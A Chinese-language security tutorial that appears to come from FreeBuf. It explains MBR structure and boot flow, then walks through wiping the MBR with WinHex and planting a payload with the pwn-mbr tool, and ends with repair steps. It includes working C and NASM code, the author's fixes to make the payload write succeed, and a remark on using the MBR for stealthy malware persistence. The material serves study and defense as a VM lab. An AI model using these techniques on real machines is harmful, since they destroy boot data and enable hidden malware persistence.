0×01 硬盤的邏輯結構機械磁盤在物理結構上是由磁片、馬達、磁頭、定位系統等部件構成,通常一塊磁盤有若干塊磁片構成,為了方便定位統一管理,將這些磁片進行了編號。一個盤片的兩面各有一個磁頭(Heads),每個盤片被劃分成若干個同心圓磁道,每個盤片的半徑均為固定值R的同心圓形成柱面(Cylinders),從外至里編號為0、1、2……每個盤片上的每個磁道又被劃分為若干個扇區,一個扇區通常容量為512byte,并按照一定規則編號為1、2、3……形成Cylinders×Heads×Sector個扇區,這三個參數即可定位一個扇區。從這里可以看出扇區是磁盤的最小存儲單元,對磁盤的讀寫只能以扇區為單位。(請務必注意最后一句話,后面的實驗會用到)
由于后續實驗需要了解到磁盤數據的具體含義,在這里簡要介紹一下。硬盤上的數據按照其不同的特點和作用大致可分為5部分:MBR區、DBR區、FAT區、DIR區和DATA區。 1、MBR區MBR(Main Boot Record 主引導記錄區)位于整個硬盤的0磁道0柱面1扇區。MBR只占用該扇區的前446個字節,另外的64個字節屬于DPT(Disk Partition Table硬盤分區表),最后兩個字節“55,AA”是分區的結束標志,這兩部分構成了硬盤的主引導扇區。 2、DBR區DBR(Dos Boot Record操作系統引導記錄區)位于硬盤的0磁道1柱面1扇區,是操作系統可以直接訪問的第一個扇區,它包括一個引導程序和一個被稱為BPB(Bios Parameter Block)的本分區參數記錄表,DBR是在高級格式化時產生。 3、FAT區FAT(File Allocation Table文件分配表)區位于DBR區之后。文件在存儲時并非連續存儲在某個區域,而是分成若干段進行鏈式存儲,FAT便是用于保存段與段之間的連接信息。由于FAT對于文件管理十分重要,所以在原FAT的后面會有一個備份FAT。 4、DIR區DIR(Directory)是根目錄區,位于備份FAT表之后,記錄著根目錄下每個文件(目錄)的起始單元,文件的屬性等。 5、數據(DATA)區數據區位于DIR區之后,用于存儲真正的用戶原始數據。 0×02 MBR引導原理計算機在按下電源鍵鍵以后,開始執行主板bios程序。進行完一系列檢測和配置以后。開始按bios中設定的系統引導順序引導系統。當設置為從硬盤啟動時,Bios執行完自己的程序后如何把執行權交給硬盤呢?交給硬盤后又執行了什么呢? 這些問題便是需要MBR來解決的,bios在執行自己固有的程序以后就會跳轉到mbr中的第一條指令,將系統的控制權交由mbr來執行。需要注意的是MBR不隨操作系統的不同而不同,意即不同的操作系統可能會存在相同的MBR,即使不同,MBR也不會夾帶操作系統的性質,具有公共引導的特性。
0×03 摧蘭折玉——暴力擦寫MBR如果我們破壞了MBR會發生什么?利用winhex對MBR區域進行00填充操作,由于針對磁盤的讀寫操作需要高權限進行,所以請用管理員啟動winhex。 填充后: 修改后切記保存,才能使修改后的數據真正寫入到磁盤中。然后重啟電腦。 哦,對了,實驗務必在虛擬機中進行,務必做好快照,哈哈哈~~~~~前面忘說了。 0×04 偷梁換柱——篡改MBR我們成功的破壞了MBR,既然Bios將控制權交給了MBR執行,我們豈不是可以利用MBR做一些其他事。這里我們用到程序https://github.com/DavidBuchanan314/pwn-mbr,該程序是將自己的payload寫入到MBR區域執行。 1、制作payload工程中的payload.s文件屬于匯編語言程序,需要利用其進行編譯生成二進制payload。筆者剛開始選擇masm對其進行編譯,報一堆錯誤,后來才發現該匯編語法規范屬于nasm,使用nasm順利生成了payload。 2、RING3層直接讀寫磁盤數據Windows利用內核模式與用戶模式的嚴格切分確保了可靠性,這兩種模式分別對應了CPU的Ring0與Ring3級別,在Ring3級下執行的程序是不能夠直接訪問到硬件的。如果要讀寫磁盤上的扇區數據,需要利用INT中斷來進行,但是也必須是在Ring0級才可以進行操作,而進入Ring0級的方法有:設備驅動程序、調用門、任務門、中斷門、陷阱門等,這勢必提升了操作門檻。 而程序中對磁盤的操作直接使用了fopen等文件操作函數,這是為什么?Windows的核心之一就是強大的文件管理能力,將所有資源都看成文件,無論是存儲在硬盤上的文件還是五花八門的硬件設備(硬盤,顯示器等),所以硬件也擁有自己特殊的文件路徑。 程序啟動時帶入的參數是物理驅動器的路徑: fp = fopen(argv[1], 'r+'); if (fp == NULL) { printf('Could not open %s for read/write. Are you sure you have permission?\n', argv[1]); return 1; }fread(&mbr, SECTOR_SIZE, 1, fp); Windows平臺的驅動器名一般為“\.\PHYSICALDRIVE0',后面的數字以此類推;linux平臺通常為dev\sda。 3、程序的運行通過閱讀源碼,可知程序對磁盤進行了讀寫操作,而fopen等對物理驅動器的操作必須具備調試權限,否則就會打開失敗,所以我們選擇管理員運行程序。 運行后重啟系統,我們看到屏幕上的字串。 按下回車鍵后,windows系統正常啟動。 4、閱讀程序程序中這段代碼在實際執行中會進入而使得程序退出,所以需要注釋掉,確保順利執行。
通過對源碼的閱讀,大致梳理出程序流程: 讀取前512字節,即MBR所在的扇區 向后尋找一塊全0的空白扇區 char isUsed = 1; while (isUsed) { fread(&readbuf, SECTOR_SIZE, 1, fp); for (int i = isUsed = 0; i < SECTOR_SIZE; isUsed |= readbuf[i++]);} 將原始MBR數據異或0xA6后存儲在該空白區域
將payload寫入到MBR扇區 需要注意的是,筆者在調試程序時發現payload在寫入時總是失敗,提示參數錯誤,后來發現在對硬盤讀寫時,必須是512字節的整數倍才行,所以需要對源程序進行修改,將payload補齊到512字節后寫入MBR扇區。 經過上述修改后,系統重啟時并沒有順利啟動我們的payload,這里需要回顧第一章節里提到的MBR區的數據格式,在MBR所在的第一扇區除了前446字節是MBR程序外,后面的64個字節屬于DPT(Disk Partition Table硬盤分區表),最后兩個字節“55,AA”是分區的結束標志。所以我們在寫入payload的同時應該修復DPT和結束標志,程序中需要在讀取原始MBR數據后加入以下代碼。
5、解讀payload在閱讀payload匯編代碼前,需要明確一點:MBR在運行時是被加載到內存地址為0:0x7C00的空間里執行。 backup_magic equ 0x0DD03713 ; 約定備份MBR的頭部標志0x1337D00D ,便于搜索查找: magic_addr equ 0x7FFCpayload_len equ 0x1B8 ; tells us how much of the MBR to copy back org 0x7C00 bits 16start: jmp realstart ; Just to look like a more normal MBR noprealstart: cli xor ax, ax ; 清空各個寄存器 mov es, ax mov fs, ax mov gs, ax mov ah, 0x0E ; 'Teletype output' mode for int 0x10 xor bl, bl.sLoop sub bl, 1 ; 將bl設置為255,為了循環打印255次pwn文字 jz doCopy ;判斷是否打印完畢,完畢則跳轉至docopy處 mov si, pwned.cLoop lodsb ; AL <- [DS:SI] && SI++ 將目的地址的內容讀到源地址,復制pwn文字操作 xor al, 0x83 ;pwn文字解密操作 jz .sLoop int 0x10 ;輸出 jmp .cLoopdoCopy: xor ah, ah int 0x16 ; 等待鍵盤輸入回車鍵; 開始搜索定位mbr備份的位置.scan mov si, DAPACK mov ah, 0x42 int 0x13 ;使用int13h,ah=0x42讀取扇區 mov ax, [d_lba] ;將ax賦值為1號扇區 add ax, 1 ;扇區號累加操作 mov [d_lba], ax mov eax, [magic_addr] ;讀取本扇區最開頭的標記位數據 mov ebx, backup_magic cmp eax, ebx ;對比標記位數據,判斷是都否為備份的扇區 jne .scan ; 將備份扇區還原到MBR的位置 mov si, stage2 mov bx, 0x8000.copy lodsb ;將stage2區塊的指令代碼讀寫到內存0x8000位置處 mov [bx], al add bx, 1 cmp si, stage2end jl .copy jmp 0x8000 ;跳轉到0x8000位置開始執行stage2代碼stage2: ; 該塊代碼會被重新裝載到內存0x8000位置 mov si, 0x7E00.copy lodsb xor al, 0xA6 ;備份的MBR數據進行解密操作 mov [si-0x201], al ;將還原的MBR裝載到內存0x7C00處 cmp si, 0x7E00 + payload_len jl .copy sti jmp 0:0x7C00 ;跳轉到0x7C00內存處開始執行還原的MBR,從而正常啟動操作系統stage2end:pwned: db 206, 193, 209, 163, 211, 212, 205, 198, 199, 162, 163, 163, 163, 131 ;該數據為異或后的數據 'MBR PWNED! ' ^ 0x83 align 4 ; needed for Disk Address PacketDAPACK: db 0x10 db 0blkcnt: dw 1 ; int 13 resets this to # of blocks actually read/writtendb_add: dw 0x7E00 ; memory buffer destination address (0:7E00) dw 0 ; in memory page zerod_lba: dd 1 ; put the lba to read in this spotdd 0 ; more storage bytes only for big lba's ( > 4 bytes ) 疑惑:筆者在進行測試時發現,xp/win2003系統均可完成上述實驗的全過程,而換成win7會就會發現在出現pwn文字后,按下回車鍵無任何反應,系統并沒有正常啟動。 0×05 鳳凰涅槃--MBR修復如果有同學不慎中招了MBR病毒,不要慌張,下面我們來講如何修復被破壞的MBR扇區。根據之前我們對MBR工作機制的認識,當MBR被破壞時,系統無法正常引導,磁盤分區信息丟失,所以需要修復這兩部分才可以正常啟動系統。 1、下載PE系統,利用光驅或U盤等方式,啟動PE系統;2、打開PE系統中的diskgenius分區工具,可以看到硬盤上的數據全都不見了;3、右鍵點擊硬盤選擇“搜索已丟失的分區”;4、選擇“整個硬盤”,點擊開始搜索,diskgenius會在整個磁盤范圍內搜索匹配分區表;5、當搜索到分區信息時會彈框確認,請按“保留”按鍵;6、搜索完畢后,點擊保存按鈕;7、此時可以看到磁盤上的文件信息都回來了; 8、重建主引導記錄 9、進入PE系統的“修復系統引導”程序,對系統引導進行修復。10、Reset,大功告成!0×06 后記前面我們了解了MBR磁盤鎖的基本運行機制,以及MBR扇區修復技術,其實有關MBR的利用遠不止這些,在一些高級利用場景中,我們可以利用修改MBR代碼的方式實現病毒程序的持久化,而且這種形式的持久化方式是不依賴于操作系統,更加隱蔽難以察覺,因此部分殺毒軟件也緊盯MBR扇區,利用多種技術對MBR扇區進行了寫保護,防止病毒的篡改侵蝕。 * *本文作者:追影人,本文屬 FreeBuf 原創獎勵計劃 |
|
來自: imnobody2001 > 《Malware》